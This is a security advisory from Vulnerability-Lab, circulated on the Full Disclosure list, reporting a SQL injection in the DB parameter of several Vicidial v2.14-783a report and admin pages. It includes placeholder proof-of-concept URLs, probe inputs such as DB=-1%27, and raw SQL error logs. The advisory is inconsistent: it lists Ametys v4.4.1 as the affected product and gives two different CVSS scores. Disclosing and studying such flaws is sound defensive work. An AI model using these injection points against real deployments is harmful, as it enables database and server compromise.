Document Title:
===============
Vicidial v2.14-783a - (DB) SQL Injection Web Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2312
Release Date:
=============
2022-02-17
Vulnerability Laboratory ID (VL-ID):
====================================
2312
Common Vulnerability Scoring System:
====================================
7.3
Vulnerability Class:
====================
SQL Injection
Current Estimated Price:
========================
1.000€ - 2.000€
Product & Service Introduction:
===============================
Vicidial is a software suite that is designed to interact with the Asterisk
Open-Source PBX Phone system to act
as a complete inbound/outbound contact center suite with inbound email support
as well. The agent interface is an
interactive set of web pages that work through a web browser to give real-time
information and functionality with
nothing more than an internet browser on the client computer. The management
interface is also web-based and
offers the ability to view many real-time and summary reports as well as many
detailed campaign and agent options
and settings. VICIDIAL can function as an ACD for inbound calls or for Closer
calls coming from VICIDIAL outbound
fronters and even allows for remote agents logging in from remote locations as
well as remote agents that may only
have a phone. There are currently over 24,000 installations of VICIDIAL in
production in over 100 countries around
the world, several with over 300 agent seats and many with multiple locations.
(Copy of the Homepage:https://www.vicidial.org/vicidial.php )
(Download:https://www.vicidial.org/vicidial.php )
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a sql-injection web
vulnerability in the Vicidial v2.14-783a web-application.
Affected Product(s):
====================
Vicidial Group
Product: Ametys v4.4.1 - Content Management System (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2022-01-02: Researcher Notification & Coordination (Security Researcher)
2022-01-03: Vendor Notification (Security Department)
2022-**-**: Vendor Response/Feedback (Security Department)
2022-**-**: Vendor Fix/Patch (Service Developer Team)
2022-**-**: Security Acknowledgements (Security Department)
2022-02-17: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Authentication Type:
====================
Restricted Authentication (User Privileges)
User Interaction:
=================
No User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
A remote sql injection web vulnerability has been discovered in the official
Vicidial v2.14-783a web-application.
The vulnerability allows remote attackers to execute own sql commands to
compromise the web-applicaation or connected dbms.
The vulnerability is located in the `DB` parameter of the `AST_IVRstats.php`,
`AST_LISTS_pass_report.php`, `AST_usergroup_login_report.php`
and `admin_lists_custom.php` files. Remote attackers are able to execute sql
commands by injection of malicious statements via GET method
request by the DB parameter.
The security risk of the sql injection vulnerability is estimated as high with
a cvss (common vulnerability scoring system) count of 7.1.
Exploitation of the remote sql injection web vulnerabilities requires no user
interaction but a agent or moderator web-application user account.
Successful exploitation of the remote sql injection results in database
management system, web-server and web-application compromise.
Request Method(s):
[+] GET
Vulnerable File(s):
[+] AST_IVRstats.php
[+] AST_LISTS_pass_report.php
[+] AST_usergroup_login_report.php
[+] admin_lists_custom.php
Vulnerable Parameter(s):
[+] DB
Proof of Concept (PoC):
=======================
The remote sql-injection web vulnerability can be exploited by privileged user
with agent or manager access without user interaction.
For security demontration or to reproduce the security vulnerability follow the
provided information and steps below to continue.
PoC: Exploitation
https://vicidial.localhost:8080/vicidial/AST_IVRstats.php?DB=[SQL-INJECTION!]&type=inbound&query_date=+00%3A00%3A00&end_date=+23%3A59%3A59&query_date_D=&query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59
https://vicidial.localhost:8080/vicidial/AST_LISTS_pass_report.php?DB=[SQL-INJECTION!]&use_lists=&report_display_type=HTML&SUBMIT=SUBMIT
https://vicidial.localhost:8080/vicidial/AST_usergroup_login_report.php?DB=[SQL-INJECTION!]&type=&user_group[]=001&report_display_type=HTML&SUBMIT=SUBMIT
https://vicidial.localhost:8080/vicidial/admin_lists_custom.php?action=DELETE_CUSTOM_FIELD_CONFIRMATION&list_id=108&field_id=133&field_label=idcliente&field_type=TEXT&field_duplicate=N&DB=[SQL-INJECTION!]
https://vicidial.localhost:8080/vicidial/admin_lists_custom.php?action=DELETE_CUSTOM_FIELD&list_id=108&field_id=134&field_label=nominteres&field_type=TEXT&field_duplicate=N&ConFiRm=YES&DB=[SQL-INJECTION!]
SQL-Exception Logs ---
SELECT
use_non_latin,outbound_autodial_active,slave_db_server,reports_use_slave_db,enable_languages,language_method,report_
default_format FROM system_settings; |SELECT user_group from vicidial_users
where user='1';| |SELECT allowed_campaigns,allowed_
reports,admin_viewable_groups,admin_viewable_call_times from
vicidial_user_groups where user_group='ADMIN';| |SELECT count(*)
from vicidial_inbound_groups where group_id='CALL_MENU';| |SELECT count(*) from
vicidial_inbound_groups where group_id='XML_PULL';|
select group_id,group_name from vicidial_inbound_groups order by group_id;
select vsc_id,vsc_name from vicidial_status_categories; Inbound IVR Report
-
|SELECT selected_language from vicidial_users where user='1';| |SELECT count(*)
from vicidial_users where user='1' and user_level >
7 and view_reports='1';| |SELECT count(*) from vicidial_users where user='1' and
user_level > 6 and view_reports='1';| SELECT webserver_id
FROM vicidial_webservers where webserver='www.vidicial.localhost:8080' and
hostname='public' LIMIT 1; |INSERT INTO vicidial_report_log set
event_date=NOW(), user='1', ip_address='13.73.13.7', report_name='Inbound IVR
Report', browser='Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:95.0) Gecko/20100101 Firefox/95.0', referer='',
notes='www.vidicial.localhost:8080: /vicidial/AST_IVRstats.php |, 00:00:00,
23:59:59, ALL, ,
HTML|',
url='https://www.vidicial.localhost:8080/vicidial/AST_IVRstats.php?DB=%22%3E%3C%3E%20%3E%22%3C%20src=a%3E&type=inbound&query_date=+00%3A00%3A00&end_date=+23%3A59%3A59&query_date_D=&query_date_T=00%3A00%3A00&end_date_D=&end_date_T=23%3A59%3A59&shift=ALL&report_display_type=HTML',
webserver='1';
| SELECT
menu_background,frame_background,std_row1_background,std_row2_background,std_row3_background,std_row4_background,std_row5_background,
alt_row1_background,alt_row2_background,alt_row3_background,web_logo,button_color
FROM vicidial_screen_colors where colors_id='SpecialTheme';
-
SELECT
use_non_latin,outbound_autodial_active,slave_db_server,reports_use_slave_db,enable_languages,language_method,report_default_format
FROM
system_settings; |SELECT user_group from vicidial_users where user='1';|
|SELECT allowed_campaigns,allowed_reports from vicidial_user_groups where
user_group='ADMIN';| select campaign_id,campaign_name from vicidial_campaigns
where campaign_id
IN('','01','1000000','2525','27011987','291471','34536663','4444test','456456','4rentena','5001','5011','5151','5269','54321','554','5556','5584',
'5678','5696','5888','6001','60606060','636363','6545','666555','132','6692','6789','69001','6969','70000','75465456','770077','777111','777777',
'77788812','778888','7997','8000','80001','8001','8006','8010','8080','808080','83439860','83439866','8631','8787451','880088','8974257','8985',
'90099','9010','9087','91224500','95868686','963852','98765','995813','9988','999','9998','ABITEST','ABI_IN','ABNOY','AC','Aribau','attack','AU2018',
'Ausie','AUS_LAND','AUTODIAL','Awesome','az_camp_','BESTEKA','binay','bmcamp','BOOMBOOM','CAMP','Camp69','campaa','CampPain','CB19IB','ceidg','CERTH'
,'chupa','comgivre','COS','cs54','CSPFC','CS_RO','CS_Test','CWMEM1','Cyburity','cyfuture','DABG','dardnoc_','DIRECTV','dishnet','dummy','Envy_it','FE'
,'ggg','hahahaID','HDCUSTM1','INBOUND','inbound5','inbound_','Incred1','ittcr','JGSCAMP','JOMS13','Jtesting','karn_edu','LAB001','lenovo','MANU','meh'
,'metst','mohsin11','moneytra','myCamp11','myfirst','nabil','new11111','NewDemo','Nighting','norm_sub','nowa','OBD_CH','Opros','OUT','Out01','outbroad
','papa23','PBN','PERUVENT','PERZIN','Pious_Jo','PLD','press1u','Press1UK','radhika','raja','rataninb','ratanout','real_198','recsurve','SAMPLE','sb','
SBD','SISVER','Swabb','TAX','test001','TEST1','test12','TESTCAM1','testout','testoutc','Test_ant','Test_Ind','TEST_KAY','Test_SD','Trend','tttttttt',
'tutabie','VBotCam','Manislc','588','ddd5','campA','campB1','campC','campD','Testcomp','Chidamb','slc13000','gr','solarSnk','RubixMP','2025','63111',
'INDIACAM','jkhkuj','12322','140292','678678','gino','8600061','0408','18241','suraj880','5
0001','001','Johnson','chat','chat_202','Recr0111','11223344','353621','8564','allstat','88854','101','pl','MANI_123','80000','Test608','OutRe1','UKOUT',
'TSTTSTTS','Mikano_o','3413','GABBY','10005','3241','nat2021','prueba','PabuIN','Youth','5002','HDFC','121','HDFCV','You','jjtest1','jomsCAMP','808182',
'gabbycam','gabbyca2','1522','69696969','10112103','smartbro','ast_test','12345abc','2259','62626','12000','1010','btibd')
order by campaign_id; select
status,human_answered,sale,dnc,customer_contact,not_interested,unworkable,scheduled_callback,completed,status_name
from vicidial_statuses; select
status,human_answered,sale,dnc,customer_contact,not_interested,unworkable,scheduled_callback,completed,status_name
from vicidial_campaign_statuses
where selectable IN('Y','N'); Lists Pass Report HELP
-
|SELECT selected_language from vicidial_users where user='1';| |SELECT count(*)
from vicidial_users where user='1' and user_level > 7 and view_reports='1';|
|SELECT count(*) from vicidial_users where user='1' and user_level > 6 and
view_reports='1';| SELECT webserver_id FROM vicidial_webservers where
webserver='www.vidicial.localhost:8080' and hostname='public' LIMIT 1; |INSERT
INTO vicidial_report_log set event_date=NOW(), user='1',
ip_address='13.73.13.7',
report_name='Lists Pass Report', browser='Mozilla/5.0 (Windows NT 10.0; Win64;
x64; rv:95.0) Gecko/20100101 Firefox/95.0', referer='',
notes='www.vidicial.localhost:8080: /vicidial/AST_LISTS_pass_report.php |, , ,
, , HTML|',
url='https://www.vidicial.localhost:8080/vicidial/AST_LISTS_pass_report.php?DB=
-1%27&use_lists=&report_display_type=HTML&SUBMIT=SUBMIT', webserver='1';|
SELECT menu_background,frame_background,std_row1_background,std_row2_background,
std_row3_background,std_row4_background,std_row5_background,alt_row1_background,
alt_row2_background,alt_row3_background,web_logo,button_color FROM
vicidial_screen_colors where colors_id='SpecialTheme';
-
|SELECT selected_language from vicidial_users where user='1';| |SELECT count(*)
from vicidial_users where user='1' and user_level > 7 and view_reports='1';|
|SELECT count(*) from vicidial_users where user='1' and user_level > 6 and
view_reports='1';| SELECT webserver_id FROM vicidial_webservers where webserver=
'www.vidicial.localhost:8080' and hostname='public' LIMIT 1; |INSERT INTO
vicidial_report_log set event_date=NOW(), user='1', ip_address='13.73.13.7',
report_name='
User Group Login Report', browser='Mozilla/5.0 (Windows NT 10.0; Win64; x64;
rv:95.0) Gecko/20100101 Firefox/95.0', referer='',
notes='www.vidicial.localhost:8080:
/vicidial/AST_usergroup_login_report.php |, , , , , HTML|',
url='https://www.vidicial.localhost:8080/vicidial/AST_usergroup_login_report.php
?DB=-1%27&type=&user_group[]=001&report_display_type=HTML&SUBMIT=SUBMIT',
webserver='1';| SELECT menu_background,frame_background,std_row1_background,
std_row2_background,std_row3_background,std_row4_background,std_row5_background,
alt_row1_background,alt_row2_background,alt_row3_background,web_logo,button_color
FROM vicidial_screen_colors where colors_id='SpecialTheme';
-
SELECT
use_non_latin,outbound_autodial_active,slave_db_server,reports_use_slave_db,enable_languages,language_method,report_default_format
FROM system_settings;
|SELECT user_group from vicidial_users where user='1';| |SELECT
allowed_campaigns,allowed_reports,admin_viewable_groups,admin_viewable_call_times
from
vicidial_user_groups where user_group='ADMIN';| select user_group from
vicidial_user_groups order by user_group; |001||1|&user_group[]=001|1
-
SELECT
use_non_latin,webroot_writable,outbound_autodial_active,user_territories_active,custom_fields_enabled,enable_languages,language_method,active_modules
FROM system_settings; |SELECT selected_language from vicidial_users where
user='1';| |SELECT selected_language from vicidial_users where user='1';|
,DELETE_CUSTOM_FIELD_CONFIRMATION,94.242.243.162,1,,133,108,,idcliente,,,,,TEXT,,1,1,,,,,,,,,NSELECT
count(*) from vicidial_lists_fields where list_id='108'
and field_label='idcliente';SHOW TABLES LIKE "custom_108";|1|1
Security Risk:
==============
The security risk of the remote sql-injection web vulnerability in the vicidial
web-application is estimated as high.
Credits & Authors:
==================
Vulnerability-Lab [Research Team]
-https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability and
capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies, deface
websites, hack into databases or trade with stolen data.
Domains: https://www.vulnerability-lab.com ;
https://www.vuln-lab.com ;https://www.vulnerability-db.com
Any modified copy or reproduction, including partially usages, of this file
requires authorization from Vulnerability Laboratory.
Permission to electronically redistribute this alert in its unmodified form is
granted. All other rights, including the use of other
media, are reserved by Vulnerability-Lab Research Team or its suppliers. All
pictures, texts, advisories, source code, videos and other
information on this website is trademark of vulnerability-lab team & the
specific authors or managers. To record, list, modify, use or
edit our material contact (admin@ or research@) to get a ask permission.
Copyright © 2022 | Vulnerability Laboratory -
[Evolution Security GmbH]™
--
VULNERABILITY LABORATORY (VULNERABILITY LAB)
RESEARCH, BUG BOUNTY & RESPONSIBLE DISCLOSURE
Attachment:
OpenPGP_signature
Description: OpenPGP digital signature
_______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: http://seclists.org/fulldisclosure/